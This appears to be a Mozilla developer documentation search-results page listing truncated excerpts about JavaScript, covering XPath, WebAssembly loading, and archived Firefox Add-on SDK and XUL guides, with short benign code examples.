JavaScript constructs depending on whether a media query returns true or not. We opened up the brick.js file and wrapped the whole lot in the following: if (window.matchMedia("(max-width: 480px)").matches) { /...
...ons are as follows: HiSRC A jQuery plugin that allows you to create small, medium, and large versions of an image, and then serves the appropriate one according to the browser's resolution and available network speed. Mobify.js capturing A very clever technique from Mozilla that allows you to capture the source of the page before it's parsed. This way, you can swap out image src values with
JavaScript depending on browser features, circumventing browser preloading issues. This is promising, but doesn't work very well across older browsers. Picturefill A
JavaScript-based polyfill for <picture>, which works nicely, but it does require a lot of custom markup. Adaptive images A server-side solution, which records the viewport size in a cookie, then resizes images via a combination of PHP and .
Web technology reference
ements. Obviously, browsers do not display them, since they are used to interpret the content of the page. ...
...since they are used to interpret the content of the page. ...
...loper guide | Element reference | Reference CSS -- Styling the web Cascading Style Sheets are used to describe the appearance of web content. ...
XPath snippets - XPath
The snippets are functions you can use in the real world in your own code. Node-specific evaluator function The following custom utility function can be used to evaluate XPath expressions on given XML nodes. The first argument is a DOM node or Document object, while the second is a string defining an XPath expression. ...
...nue" city="denver" state="co" country="usa"/> </person> </people> You can now "query" the document with XPath expressions. Although walking the DOM tree can achieve similar results, using XPath expressions is much quicker and more powerful. If you can rely on id attributes, document.getElementById() is still powerful, but it's not nearly as powerful as XPath. Here are some examples. ...
...space-uri()='"+(el.namespaceURI===null?'':el.namespaceURI)+"']["+pos+']'+'/'+xpath; el = el.parentNode; } xpath = '/*'+"[name()='"+xml.documentElement.nodeName+"' and namespace-uri()='"+(el.namespaceURI===null?'':el.namespaceURI)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } Resources XPath Forum discussion on this topic See also Introduction to using XPath in
JavaScript ...
XPath
n-XML syntax so that it can be used in URIs and XML attribute values. Note: Support for XPath varies widely; it's supported reasonably well in Firefox (although there are no plans to improve support further), while other browsers implement it to a lesser extent, if at all. If you need a polyfill, you may consider js-xpath or wicked-good-xpath. Documentation Introduction to using XPath in
JavaScript Describes a non-XSLT use of XPath. XPath:Axes List and definition of the axes defined in the XPath specification. Axes are used to describe the relationships between nodes. XPath:Functions List and description of the core XPath functions and XSLT-specific additions to XPath. Transforming XML with XSLT XSLT uses XPath to address code segments in an XML document that it wishes to transform. ...
...of XPath. XPath:Axes List and definition of the axes defined in the XPath specification. Axes are used to describe the relationships between nodes. XPath:Functions List and description of the core XPath functions and XSLT-specific additions to XPath. Transforming XML with XSLT XSLT uses XPath to address code segments in an XML document that it wishes to transform. ...
...L document that it wishes to transform. XPath snippets These are
JavaScript utility functions, that can be used in your own code, based on DOM Level 3 XPath APIs. What is XSLT? This extensive introduction to XSLT and XPath assumes no prior knowledge of the technologies, and guides the reader through background, context, structure, concepts, and introductory terminology. JXON JXON (lossless
JavaScript XML Object Notation) is a generic name by which is defined the representation of
JavaScript Objects using XML. There are some cases in which the whole content of an XML document must be read from the
JavaScript interpreter (like for web-apps languages or settings XML documents, for example). In these cases JXON could represent the most practical way and valid alternative to XPath. View All... ...
Loading and running WebAssembly code - WebAssembly
To use WebAssembly in
JavaScript, you first need to pull your module into memory before compilation/instantiation. This article provides a reference for the different mechanisms that can be used to fetch WebAssembly bytecode, as well as how to compile/instantiate then run it. What are the options? WebAssembly is not yet integrated with <script type='module'> or ES2015 import statements, thus there is not a path to have the browser fetch modules for you using imports. The older WebAssembly.compile/WebAssembly.instantiate methods require you to create an ArrayBuffer containing your WebAssembly module binary after fetching the raw bytes, and then compile/instantiate it. This is analogous to new Function(string), except that we are substituting a string of characters (
JavaScript source code) with an...
...case we want to cache it, share it with another worker or window via postMessage(), or simply create more instances. Note: The second overload form takes a WebAssembly.Module object as an argument, and returns a promise directly containing the instance object as the result. See Second overload example. Running your WebAssembly code Once you've got your WebAssembly instance available in your
JavaScript, you can then start using features of it that have been exported via the WebAssembly.Instance.exports property. Your code might look something like this: WebAssembly.instantiateStreaming(fetch('myModule.wasm'), importObject) .then(obj => { // Call an exported function: obj.instance.exports.exported_func(); // or access the buffer contents of an exported memory: var i32 = new Uint32Array...
... Using XMLHttpRequest XMLHttpRequest is somewhat older than Fetch, but can still be happily used to get a typed array. Again, assuming our module is called simple.wasm: Create a new XMLHttpRequest() instance, and use its open() method to open a request, setting the request method to GET, and declaring the path to the file we want to fetch. The...
Content Scripts - Archive of obsolete content
entScriptFile: [data.url("jquery.min.js"), data.url("my-content-script.js")] }); If you do this, the scripts can interact directly with each other, just like scripts loaded by the same web page. You can also use contentScript and contentScriptFile together. If you do this, scripts specified using contentScriptFile are loaded before those specified using contentScript. ...
....alert(self.options.message);', contentScriptOptions: {"message" : "hello world"} }); }); Any kind of jsonable value (object, array, string, etc.) can be used here. Accessing the DOM Content scripts can access the DOM of a page, of course, just like any scripts that the page has loaded (page scripts). But content scripts are insulated from page scripts: content scripts don't see any
JavaScript objects added to the page by page scripts if a page script has redefined the behavior of some DOM object, the content script sees the original behavior. The same applies in reverse: page scripts can't see
JavaScript objects added by content scripts. For example, consider a page that adds a variable foo to the window object using a page script: <!DOCTYPE html"> <html> <head> <script> ...
Modules - Archive of obsolete content
A module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. The use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. Unfortunately,
JavaScript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names. We will show how to do each of these things using the built-in Components object provided by Xulrunner application such as Firefox and Thunderbird. To improve encapsulation, each module should be defined in the scope of its own global object. This is made possible by the use of sandboxes. Each sandbox lives in its own compartment.
... provided by the SDK. The SDK uses its own internal loader, known as Cuddlefish. All modules within the SDK are loaded using Cuddlefish by default. Like any other custom loader, Cuddlefish is created using the Loader constructor. In the final section, we will take a look at some of the options passed by the SDK to the Loader constructor to create the Cuddlefish loader. Loading Subscripts When a
JavaScript project reaches a certain size, it becomes necessary to split it up into multiple files. Unfortunately,
JavaScript does not provide any means to load scripts from other locations: we have to rely on the host application to provide us with this functionality. Applications such as Firefox and Thunderbird are based on Xulrunner. Xulrunner adds a built-in object, known as Components, to the global sc...
Contributor's Guide - Archive of obsolete content
efines one or more members, which are initialized to a given value when the class is instantiated. Data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior. Inheritance allows classes to inherit state and behavior from an existing classes, known as the base class. Unlike languages like C++ and Java,
JavaScript does not have native support for classical inheritance. Instead, it uses something called prototypal inheritance. As it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code. Content Processes A content process was supposed to run all the code associated with a single tab. Conversely, an add-on p...
... add-on processes actually exist. Getting Started Learn how to contribute to the Add-on SDK. Modules A module is a self-contained unit of code, which is usually stored in a file, and has a well defined interface. The use of modules greatly improves the maintainability of code, by splitting it up into independent components, and enforcing logical boundaries between them. Unfortunately,
JavaScript does not yet have native support for modules: it has to rely on the host application to provide it with functionality such as loading subscripts, and exporting/ importing names. We will show how to do each of these things using the built-in Components object provided by Xulrunner application such as Firefox and Thunderbird. Private Properties People have come up with several ways to emulate pri...
Guides - Archive of obsolete content
ing the code, opening/taking a bug, filing a patch, getting reviews, and getting help. Modules Learn about the module system used by the SDK (which is based on the CommonJS specification), how sandboxes and compartments can be used to improve security, and about the built-in SDK module loader, known as Cuddlefish. Classes and Inheritance Learn how classes and inheritance can be implemented in
JavaScript, using constructors and prototypes, and about the helper functions provided by the SDK to simplify this. Private Properties Learn how private properties can be implemented in
JavaScript using prefixes, closures, and WeakMaps, and how the SDK supports private properties by using namespaces (which are a generalization of WeakMaps). Content Processes The SDK was designed to work in an envir...
...es The SDK was designed to work in an environment where the code to manipulate web content runs in a different process from the main add-on code. This article highlights the main features of that design. Testing the Add-on SDK Learn how to run the Add-on SDK test suites. SDK infrastructure Module structure of the SDK The SDK, and add-ons built using it, are of composed from reusable
JavaScript modules. This explains what these modules are, how to load modules, and how the SDK's module tree is structured. SDK API lifecycle Definition of the lifecycle for the SDK's APIs, including the stability ratings for APIs. Program ID The Program ID is a unique identifier for your add-on. This guide explains how it's created, what it's used for and how to define your own. Firefox compatibi...
ui - Archive of obsolete content
icon gets a "pressed" look when the button is checked. It's otherwise identical to the action button. Attaching panels to buttons is only supported from Firefox 30 onwards. From Firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method: Frame A frame enables you to create an HTML iframe, using bundled HTML, CSS and
JavaScript. This can then be added to a designated area of the Firefox user interface. At the moment you can only add frames to a toolbar. You initialize a frame with a URL pointing to an HTML document supplied under your add-on's "data" directory. This document can refer to bundled CSS and
JavaScript files, and your main add-on can communicate with a frame script using message passing. Once you've created...
...}); var toolbar = ui.Toolbar({ title: "Player", items: [previous, next, play, frame] }); The toolbar appears just above the content window: Sidebar A sidebar gives you a vertical strip of space for presenting complex user interfaces. You initialize a sidebar with a URL pointing to an HTML document supplied under your add-on's "data" directory. This document can refer to bundled CSS and
JavaScript files, and your main add-on can communicate with a frame script using message passing. var ui = require("sdk/ui"); var sidebar = ui.Sidebar({ id: 'my-sidebar', title: 'My sidebar', url: require("sdk/self").data.url("sidebar.html") }); It appears on the left of the content window: ...
frame/utils - Archive of obsolete content
reate(window.document); Optionally create can be passed set of options to configure created frame even further. Execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allow
Javascript: true }); } Globals Functions create(document, options) Creates a XUL browser element in a privileged document. Parameters document : nsIDOMDocument options : object Optional options: Name Type type String String that defines access type of the document loaded into it. Defaults to "content". For more details and other possible values see document...
...possible values see documentation on MDN uri String URI of the document to be loaded into the new frame. Defaults to about:blank. remote Boolean If true separate process will be used for this frame, and all the following options are ignored. allowAuth Boolean Whether to allow auth dialogs. Defaults to false. allow
Javascript Boolean Whether to allow
Javascript execution. Defaults to false. allowPlugins Boolean Whether to allow plugin execution. Defaults to false. Returns frame : The new browser element. ...
lang/type - Archive of obsolete content
value is an instance of Type. source(value, indent, limit) Returns the textual representation of value, containing property descriptors and types of properties contained within the object. ...
... indent : string Optional. String to be used as indentation in output. 4 spaces by default. limit : number Optional. Number of properties to display per object. R...
places/history - Archive of obsolete content
: "visitCount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // Complex query // The query objects are OR'd together // Let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with '
javascript' in the URL or title. // We'd compose the query with the following options let lastWeek = Date.now - (1000*60*60*24*7); search( // First query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastWeek }, // Second query searches all entries after last week with '
javascript' { query: "
javascript", from: lastWeek }], // We want to order chronologically by visit da...
...Each query option can take several properties, which are AND'd together to make one complete query. For additional queries within the query, passing more query options in will OR the total results. ...
Low-Level APIs - Archive of obsolete content
ocal filesystem with the NodeJS path module API. io/byte-streams Provides streams for reading and writing bytes. io/file Provides access to the local filesystem. io/text-streams Provides streams for reading and writing text. lang/functional Functional helper methods. lang/type Functions for working with type detection. loader/cuddlefish The SDK's module loader. loader/sandbox Create
JavaScript sandboxes and execute scripts in them. net/url Enables you to read content from a URI. net/xhr Provides access to XMLHttpRequest functionality. places/bookmarks Create, modify, and retrieve bookmarks. places/favicon Helper functions for working with favicons. places/history Access the user's browsing history. platform/xpcom Implement XPCOM objects, factories, and services. pr...
...p and execution. test/httpd An HTTP server for the Mozilla platform, which can be used in unit tests. test/runner Sets up unit tests. test/utils Helper methods used in the CommonJS Unit Testing suite. ui/button/action Add a button to the Firefox user interface. ui/button/toggle Add a toggle button to the Firefox user interface. ui/frame Create HTML iframes, using bundled HTML, CSS and
JavaScript, that can be added to a designated area of the Firefox user interface. ui/id Create UI component IDs. ui/sidebar Enables you to create sidebars. ui/toolbar Add a toolbar to the Firefox user interface. util/array Helper functions for working with arrays. util/collection A simple list-like class and utilities for using it. util/deprecate Functions to deprecate code. util/list Building...
cfx - Archive of obsolete content
for more information. -b BINARY, --binary=BINARY Use the host application binary specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory. --binary-args=CMDARGS Pass extra arguments to the binary being executed (for example, Firefox). For example, to pass the -jsconsole argument to Firefox, which will launch the
JavaScript Error Console, try the following: cfx run --binary-args -jsconsole To pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-url "www.mozilla.org" -jsconsole' --extra-packages=EXTRA_PACKAGES Extra packages to include, specified as a comma-separated list of package names. -g CONFIG, --use-config=CONFIG Pass a set of...
... tests multiple times. -b BINARY, --binary=BINARY Use the host application binary specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory. --binary-args=CMDARGS Pass extra arguments to the binary being executed (for example, Firefox). For example, to pass the -jsconsole argument to Firefox, which will launch the
JavaScript Error Console, try the following: cfx run --binary-args -jsconsole To pass multiple arguments, or arguments containing spaces, quote them: cfx run --binary-args '-url "www.mozilla.org" -jsconsole' --dependencies Load and run any tests that are included with modules that your package depends on. For example: if your add-on depends on modules from the SDK, then ...
Tutorials - Archive of obsolete content
ing Some pointers for fixing common problems and getting more help. Getting started Walkthrough of creating a simple add-on with the SDK, using jpm. Create user interfaces Add a toolbar button Attach a button to the Firefox Add-on toolbar. Add a menu item to Firefox Add items to Firefox's main menus. Display a popup Display a popup dialog implemented with HTML and
JavaScript. Add a context menu item Add items to Firefox's context menu. Interact with the browser Open a web page Open a web page in a new browser tab or window using the tabs module, and access its content. Listen for page load Use the tabs module to get notified when new web pages are loaded, and access their content. Get the list of open tabs Use the tabs module to iterate thro...
... Putting it together Annotator add-on A walkthrough of a relatively complex add-on. ...
Dialogs and Prompts - Archive of obsolete content
e them to disk or whatever } else { // User clicked cancel. Typically, nothing is done here. ...
...ialogs nsIFilePicker Prompts and the prompt service Now that you understand dialogs, let's examine prompts. Prompts differ from dialogs in that they don't require custom XUL. Because of this, however, they are less customizable. Most web developers are familiar with the alert() function: This is a prime example of a prompt. nsIPromptService is an XPCOM interface available to C++ and chrome
JavaScript code (not to web pages' JS), that provides methods for displaying a few simple types of dialogs. Refer to the interface documentation for documentation and sample code. For file/folder picker dialogs, see nsIFilePicker. Original version The original version of this tutorial was written by "Ihoss" (it was here). Links nsIPromptService Open and Save Dialogs See also Alerts and Notifica...
Forms related code snippets - Archive of obsolete content
Here are some <form> related code snippets. Date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>DatePicker Example - MDN</title> <script type="text/
javascript"> /*\ |*| |*| DatePicker Example MDNDeveloper Network |*| |*| https://developer.mozilla.org/docs/Code_snippets/Forms |*| https://developer.mozilla.org/User:fusionchess |*| |*| This snippet is released under the GNU Public License, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ (function () { function DatePicker (oTarget) { const oTable = document.createElement("table"), oHRow = document.createElement("tr"...
...> </td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> </tr> </tbody> </table> Editable <select> fields The content of the <select> element is actually static and not editable. If you want to emulate an editable select through a <fieldset> of radioboxes and textboxes (written in pure CSS, without
JavaScript), please see this example. Autogrowing <textarea> This example shows how to make a textarea really autogrowing during a typing. Insert some custom text in a <textarea> This example shows how to insert some HTML tags or smiles or any custom text in a textarea. Image preview before upload The FileReader.prototype.readAsDataURL() method can be useful, for example, to get a preview of an image ...
JS XPCOM - Archive of obsolete content
Here are a few useful snippets of code for dealing with XPCOM components in
JavaScript. Contract IDs A contract ID is a unique name for an XPCOM object. They are used to create or access well-known objects in XPCOM. Interfaces Every XPCOM object implements one or more interfaces. An interface is simply a list of constants and methods that can be called on the object, an example is nsIFile. Every XPCOM object must implement the nsISupports interface. Accessing XPCOM components from
JavaScript XPCOM objects are either created as new instances (each creation gives you a completely new COM object) or as services (each access gives you the same COM object, often called a singleton). Whether you must create a new instance or access as a service depends on the contract. In order to get an XPCOM obje...
...e interface on it. Getting an XPCOM service var preferences = Components.classes["@mozilla.org/preferences-service;1"] .getService(Components.interfaces.nsIPrefService); You can then call any methods in the nsIPrefService interface on the preferences object. Getting a different interface for a component Some components implement more than one interface. Sometimes
JavaScript is clever enough to know all the interfaces available on a component, but in most cases you will have to explicitly check for an interface. With the preferences service from the previous example we can do the following: var preferences = preferences.QueryInterface(Components.interfaces.nsIPrefBranch2); This allows you to use the methods in the nsIPrefBranch2 interface. Determining which inter...
QuerySelector - Archive of obsolete content
return this.querySelector(selector); }; Example: <h1>Test!</h1> <script> HTMLDocument.prototype.$ = function (selector) { return this.querySelector(selector); }; alert(document.$('h1')); // [object HTMLHeadingElement] </script> XULDocument.prototype.$ = function (selector) { // Only for XUL return this.querySelector(selector); }; Example: <label value="Test!"/> <script type="text/
javascript"><![CDATA[ XULDocument.prototype.$ = function (selector) { // Only for XUL return this.querySelector(selector); }; alert(document.$('label')); // [object XULElement] ]]></script> Document.prototype.$ = function (selector) { // Only for plain XML return this.querySelector(selector); }; var foo = document.implementation.createDocument('someNS', 'foo', null); // Create an XML document <foo...
...// gives 'bar' Element.prototype.$ = function (selector) { // Works for HTML, XUL, and plain XML return this.querySelector(selector); }; HTML example: <h1><a>Test!<a/></h1> <script> Element.prototype.$ = function (selector) { return this.querySelector(selector); }; alert(document.getElementsByTagName('h1')[0].$('a').nodeName); // 'A' XUL example: <hbox><vbox/></hbox> <script type="text/
javascript"><![CDATA[ Element.prototype.$ = function (selector) { return this.querySelector(selector); }; var XULNS = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getElementsByTagNameNS(XULNS, 'hbox')[0].$('vbox').nodeName); // vbox ]]></script> XML example: <foo xmlns="someNS"><bar/></foo> in document earlier var foo = document.getElementsByTagNameNS('someNS', 'foo')...
Tree - Archive of obsolete content
To collapse all tree nodes just change the condition: var treeView = tree.treeBoxObject.view; for (var i = 0; i < treeView.rowCount; i++) { if (treeView.isContainer(i) && treeView.isContainerOpen(i)) treeView.toggleOpenState(i); } Getting the text from the selected row Assuming the given <tree>: <tree id="my-tree" seltype="single" onselect="onTreeSelected()"> Use the following
JavaScript: function onTreeSelected(){ var tree = document.getElementById("my-tree"); var cellIndex = 0; var cellText = tree.view.getCellText(tree.currentIndex, tree.columns.getColumnAt(cellIndex)); alert(cellText); } Getting the tree item from the focused row Assuming <tree id="my-tree">, you can use the following to get the tree item: var view = document.getElementById("my-tree").view; ...
... choice is likely to try <treecell onclick="yourfunc();"/> or something similar. But this will not work. You can't add event handlers to <treecell>. Instead, you can add the event handler to the <tree> element. You can then use the event and some utility methods to find the <treecell>. ...
Extension Etiquette - Archive of obsolete content
iliar with Building an Extension. User Interface Tools menu items Using the Tool menu option gives the author the maximum amount of choices. Whether the extensions should go at the top, bottom, or somewhere in between on the Tools menu, the author always has a choice. Ideally, the location would be below the Add-ons item, grouped with the other extension-related commands (menuitem:insertafter="
javascriptConsole,devToolsSeparator"). Sub-menus should be used for single extensions needing multiple menu items, and a Tools menu item should not be created for options and preferences (for options and preferences, see the add-on manager). If possible, create a menu item in the menu where it is most applicable; for instance, a bookmark sharing extension should be called from the Bookmarks menu. To maintai...
... of namespaces in which conflicts can occur, there are many others. In general, care must be taken whenever defining a name anywhere that other code might do likewise. Strategies to avoid such conflicts include: Avoid shared namespaces where possible Many naming conflicts are best avoided by simply not sharing namespaces. Scripts can be loaded into their own globals, such as CommonJS modules,
JavaScript modules, or Sandboxes, to avoid most global variable and prototype conflicts. Expando properties are best avoided using tools such as WeakMaps. Prefix names in shared namespaces When shared namespaces can't be avoided, the simplest solution to prevent conflicts is to use a distinct prefix for all of your names. Class names for HTML elements created by the Cool Beans extension, for instance, m...
Installing Extensions and Themes From Web Pages - Archive of obsolete content
There are a variety of ways you can install extensions and themes from web pages, including direct linking to the XPI files and using the InstallTrigger object. Extension and web authors are encouraged to use the method described below to install XPIs, as it provides the best experience to users. ...
...st return false so that when the link is clicked, only the script is run, and the link href is not navigated to. If you omit this step, the user may see two installation dialogs--since you've effectively invoked two install requests, one from the InstallTrigger, one from trying to load the XPI file directly. Available Parameters for the install object The InstallTrigger.install method accepts a
JavaScript object as a parameter, with several properties on that object used to affect the install. URL The URL property specifies the URL of the XPI to install. This property is required. IconURL The IconURL property specifies an icon to be displayed in the installation dialog. This property is optional. If you do not specify an icon, the default icon will be used, usually a green puzzle piece. The ic...
Jetpack Processes - Archive of obsolete content
Jetpack.unregisterReceiver(), this function unregisters a callback previously registered with registerReceiver(). unregisterReceivers(aMessageName) Similar to nsIJetpack.unregisterReceivers(), this function unregisters all callbacks for the given message name. createHandle() Similar to nsIJetpack.createHandle(), this function creates a new handle and returns it. createSandbox() This creates a new
JavaScript sandbox and returns its global scope. This global scope does not contain privileged APIs, or any non-standard
JavaScript objects for that matter, though new globals can be endowed by simply attaching them to the global scope as properties. evalInSandbox(aSandbox, aScript) Evaluates the given script contents in the given sandbox's global scope. At minimum,
JavaScript 1.8.1 is used. Individual line...
...context can be provided for messages; for instance, if the handle is meant to represent a network request, an XMLHttpRequest instance can be attached to the handle on the chrome process. Because a handle's existence crosses process boundaries and cross-process garbage collection does not exist, the lifetime of a handle needs to be controlled manually by code. By default, a handle is rooted in the
JavaScript interpreter's garbage collector, meaning that even if a process throws it away, it will not be garbage collected unless the other process explicitly does something to indicate that it is no longer needed. If that other process does not do something explicit and simply removes all references to it, the handle remains rooted yet unreachable in both processes and a memory leak is created. To prevent...
Migrating raw components to add-ons - Archive of obsolete content
our add-on is installed. Automatic installation Once you have an add-on packaged, users can install it by visiting your site and giving the add-on permission to install. Many software authors install Firefox components as a by product of their own software installs, though. If you would like to install Firefox add-ons in an automated, programmatic way, we have documented a set of best practices. ...
...stalls, though. If you would like to install Firefox add-ons in an automated, programmatic way, we have documented a set of best practices.
JavaScript C-Types Some add-on authors create binary components not because they want to interact with Firefox at the C++ level, but strictly so that they can make use of third party DLLs. If this is the only reason you are using a binary component instead of
JavaScript, take a look at the new
JavaScript C-Types support introduced in Firefox 3.6. It allows
JavaScript code to load functions from DLLs on windows, and should allow you to eliminate your dependence on binary components entirely. This leads to a better compatibility path as new versions of Firefox are released. ...
Connecting to Remote Content - Archive of obsolete content
you don't want users to be stuck waiting while a request is obtained and processed. Therefore, it is very important that XMLHttpRequest calls are always done asynchronously. Now let's look at the most common types of content you can use to communicate with remote servers. JSON content JSON is a very lightweight and simple data representation format, similar to the object representation used in
JavaScript. Unlike
JavaScript, the JSON format doesn't allow any kind of code that can be run, only data. JSON used to be risky in terms of security because the favored way of parsing it was to use the
JavaScript eval function. Since eval executes any code contained in the string, workarounds had to be devised in order to close security holes. Luckily, Firefox now provides a few alternatives for extension ...
... JSON page explains in detail how to parse JSON data in different versions of Firefox and other applications. Assume we need to parse the following data: {"shops": [{"name": "Apple", "code": "A001"}, {"name": "Orange"}], "total": 100} When the onload callback function is called, the response text is converted into a JS object using the parse method. You can then use this object like any other
JavaScript objects in your code. request.onload = function(aEvent) { let text = aEvent.target.responseText; let jsObject = JSON.parse(text); window.alert(jsObject.shops[1].name); // => "Orange" window.alert(jsObject.total); // => 2; }; The
JavaScript object can also be serialized back with the stringify method. let string = JSON.stringify(jsObject); XML content XML is possibly the mo...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
The demo of this is seen at jsfiddle :: jsonToDOM Example var json = ['html:div', {style:'background-color:springgreen'}, ['html:form', {id:'myFirstForm'}, ['html:i...
...) + "(" + [String.quote(href), uneval(otherStuff)] + ")"; } Safely Using Remote HTML In the above cases, we're working with text content that needs to appear in generated DOM. There are cases, however, where we need to safely display formatted HTML sent by a remote server. Fortunately, there is a safe and simple way to do this. For WebExtensions the most simple way is sanitize the output about
javaScript inline declaration and other wrong content. For XUL addon based the nsIParserUtils.parseFragment() method will convert a string to a document fragment while removing any scripts or other unsafe content in the process. let { Cc, Ci } = require("chrome"); /** * Safely parse an HTML fragment, removing any executable *
JavaScript, and return a document fragment. * * @param {Document} doc The do...
Mozilla Documentation Roadmap - Archive of obsolete content
there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach. Let's look into the resources that have helped us the most. The Mozilla Developer Center This is the official and most extensive guide to everything related to Mozilla. MDC is where this tutorial is hosted, and where most of its links point to. It encompasses Firefox, other Mozilla products,
Javascript, CSS, XUL, web and extension development guidelines, accessibility, usability, best practices... The list goes on. It's incredibly comprehensive, and its underlying Wiki technology makes it easy to expand and evolve with the help of the community. Having said that, there are a few problems with it. First of all, the in-site search is not reliable, so we recommend using a search engine like Googl...
... development guidelines, accessibility, usability, best practices... The list goes on. It's incredibly comprehensive, and its underlying Wiki technology makes it easy to expand and evolve with the help of the community. Having said that, there are a few problems with it. First of all, the in-site search is not reliable, so we recommend using a search engine like Google, with queries such as "MDC
Javascript Code Modules" or "
Javascript code modules site:developer.mozilla.org". Secondly, there are several important articles that are very lacking in information, like the Preferences System page. And finally, what we mentioned in our XPCOM section: almost no documentation on XPCOM components. The documentation on interfaces is very complete, but it isn't nearly as useful as the documentation that exist...
Overlay extensions - Archive of obsolete content
This page contains links to documentation for the approach to developing extensions for Gecko-based applications which uses: XUL overlays to specify the interface APIs available to privileged code, such as tabbrowser and
JavaScript modules, to interact with the application and content. Prior to Firefox 4, and the Gecko 2 engine that powers it, this was the only way to develop extensions. This methodology has largely been superseded by restartless extensions, and the Add-on SDK, which is built on top of them. The privileged
JavaScript APIs described here can still be used in these newer types of add-ons. XUL School XUL School is a comprehensive add-on development tutorial, focusing on Firefox extension development but mostly applicable to other Gecko-based applications. More resources ...
...plication for extension development. XUL Tutorials and reference for the user interface language used by XUL extensions. Code snippets Sample code for many of the things you'll want to do. Installing extensions How to install an extension by copying the extension files into the application's install directory. Firefox add-ons developer guide A guide to developing overlay extensions.
JavaScript code modules
JavaScript modules available to extension developers. Extension preferences How to specify the preferences for your extension that will appear in the Add-ons Manager. Extension packaging How extensions are packaged and installed. Binary Firefox extensions Creating binary extensions for Firefox. ...
Extensions support in SeaMonkey 2 - Archive of obsolete content
These are so commonly available that developers often forget that they are not built-ins. SeaMonkey on the other hand defaults to not support them so they either need to be expanded to their proper forms or matching constants/variables need to be defined in custom code. Shorthand Expansion Cc Components.classes ...
...d in custom code. Shorthand Expansion Cc Components.classes Ci Components.interfaces Cr Components.results Cu Components.utils Multi-browser compatibility To make an extension compatible with SeaMonkey as well as Firefox/Thunderbird, you may need to do different things depending on which application is running the extension. ...
Add-ons - Archive of obsolete content
bookmarks.export() Exports bookmarks to an HTML bookmark file. bookmarks.import() Imports bookmarks from an HTML bookmark file. Bootstrapped extensions browser.bookmarks.export( function() {...} // optional function ) Code snippets ... ...
...rt() Imports bookmarks from an HTML bookmark file. Bootstrapped extensions browser.bookmarks.export( function() {...} // optional function ) Code snippets ... Creating custom Firefox extensions with the Mozilla build system There is a wealth of material on creating extensions for Firefox. All of these documents currently assume, however, that you are developing your extension using XUL and
JavaScript only. For complex extensions, it may be necessary to create components in C++ that provide additional functionality. Extension Etiquette This article describes best practices when making extensions, including how to be kind to your users. It assumes that you are already familiar with Building an Extension. Extension Packaging Extensions are packaged in a form of Installable Bundle which can b...
Adding preferences to an extension - Archive of obsolete content
lder called "preferences". Inside that, we create a file, defaults.js, that describes the default value of our preferences: pref("extensions.stockwatcher2.symbol", "GOOG"); The standard for third-party preferences, such as those used in extensions, is to use the string "extensions", a period, the name of the extension, another period, then a preference name, as seen in the example above. The
JavaScript code In order to monitor changes to our preferences, we need to install an observer using the nsIPrefBranch2 interface. To do that, we need to reimplement our code into an object. That involves turning each function into a member of the StockWatcher class. Let's take a look at each function in the class. startup() The StockWatcher.startup() function is called when our extension is first loade...
... The Refresh Now option calls the StockWatcher.refreshInformation() function, to refresh the display. The rest of the options call the StockWatcher.watchStock() function to start watching a different stock. For a more detailed tutorial on creating popup menus, see XUL Tutorial:Popup Menus. << PreviousNext >> override chrome://myaddon/cont...
Creating reusable content with CSS and XBL - Archive of obsolete content
bindings> Make a new CSS file, bind6.css. This separate stylesheet contains style for the binding. Copy and paste the content from here: /*** XBL demonstration ***/ [anonid="square"] { width: 20em; height: 20em; border: 2px inset gray; } [anonid="button"] { margin-top: 1em; padding: .5em 2em; } Open the document in your browser and press the button. This wiki does not support
JavaScript in pages, so it is not possible to show the demonstration here. It looks something like this, before and after you press the button: Notes about this demonstration: The HTML document links the document stylesheet as usual, but it does not link any
JavaScript code. The document does not contain any buttons. It only contains the text of the button's label. The button is added...
...So the binding is self-contained. Challenges Change the XBL file so that the square doubles in width when it changes color, instead of jumping to the right. Use the DOM Inspector tool to inspect the document, revealing the added content. ...
Case Sensitivity in class and id Names - Archive of obsolete content
Summary: Although CSS is itself case-insensitive, class and ID names are defined to be case-sensitive in HTML 4.01. Find out how this wrinkle can affect your site design and best practices to avoid any problems. In the authoring of both CSS and
JavaScript/DOM (otherwise known as DHTML) routines, it is a near-certainty that class and id names will be used to identify elements. We have discovered, however, that many authors are running into trouble with class and id names because they're used to the bugs of browsers that don't fully support open standards. The most common case is where the name uses different case in the document source than is found in the CSS or
JavaScript. For example, there might be this CSS: p.Warning {color: red; background: yellow;} ...coupled with this HTML: <p clas...
...Warning and warning are two different identifiers, because HTML 4.01 defines class and id names to be case-sensitive. (For a detailed explanation of what HTML 4.01 says, see the following section, "Why So Case-Sensitive?") The only way to avoid this particular problem is to make sure that your class and id names have consistent case throughout the entire document, and with respect to your CSS and
JavaScript. It is also important to avoid using class or id names which are a case-insensitive match within the same document. For example, you would not want to do something like: .Urgent {color: purple;} .urgent {color: yellow;} Even though these are technically two distinct class names, browsers other than Netscape 6 will treat them as though they are the same thing. Therefore, authors should not rely o...
Enabling the behavior - updating the status periodically - Archive of obsolete content
